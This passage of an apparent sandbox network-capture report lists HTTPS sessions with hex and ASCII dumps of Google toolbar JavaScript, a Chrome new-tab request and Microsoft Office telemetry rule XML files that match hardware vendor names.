2024-11-23 18:52:33 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-23 18:52:33 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 32 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700329,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-23 18:52:33 UTC	748	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-23 18:52:33 UTC	392	IN	Data Raw: 31 38 31 0d 0a 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b Data Ascii: 181inite(a)?a\|0:void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;
2024-11-23 18:52:33 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 Data Ascii: 8000)}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;t
2024-11-23 18:52:33 UTC	1390	IN	Data Raw: 3a 66 65 7c 7c 28 66 65 5c 75 30 30 33 64 6e 65 77 20 68 65 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 Data Ascii: :fe\|\|(fe\u003dnew he)};_.ke\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c)

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:32 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:32 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 3e1b75d9-f01e-0071-0368-3d431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185232Z-15b8b599d885ffrhhC1TEBtuv000000003eg000000004vyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:32 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49775	172.217.21.36	443	7952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:32 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 18:52:33 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 18:52:32 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 18:52:33 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-23 18:52:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:33 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:34 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: e845eaf5-101e-008e-5d91-3bcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185234Z-15b8b599d88z9sc7hC1TEBkr4w00000003e000000000bx7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:34 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:33 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: b7a4c0f2-401e-0064-554c-3c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185234Z-15b8b599d882hxlwhC1TEBfa5w000000039g000000004y8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:34 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185235Z-178bfbc474bbcwv4hC1NYCypys00000004pg00000000dy4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:34 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:35 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185235Z-178bfbc474bwlrhlhC1NYCy3kg00000004yg000000002a1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:35 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:34 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:35 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a3b90170-101e-0034-5118-3d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185235Z-178bfbc474bv587zhC1NYCny5w00000004ng00000000kq6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:35 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:37 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:38 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:38 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: ea4907c4-101e-0079-4064-3d5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185238Z-174c587ffdf8lw6dhC1TEBkgs8000000038000000000mgys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 18:52:38 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:37 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
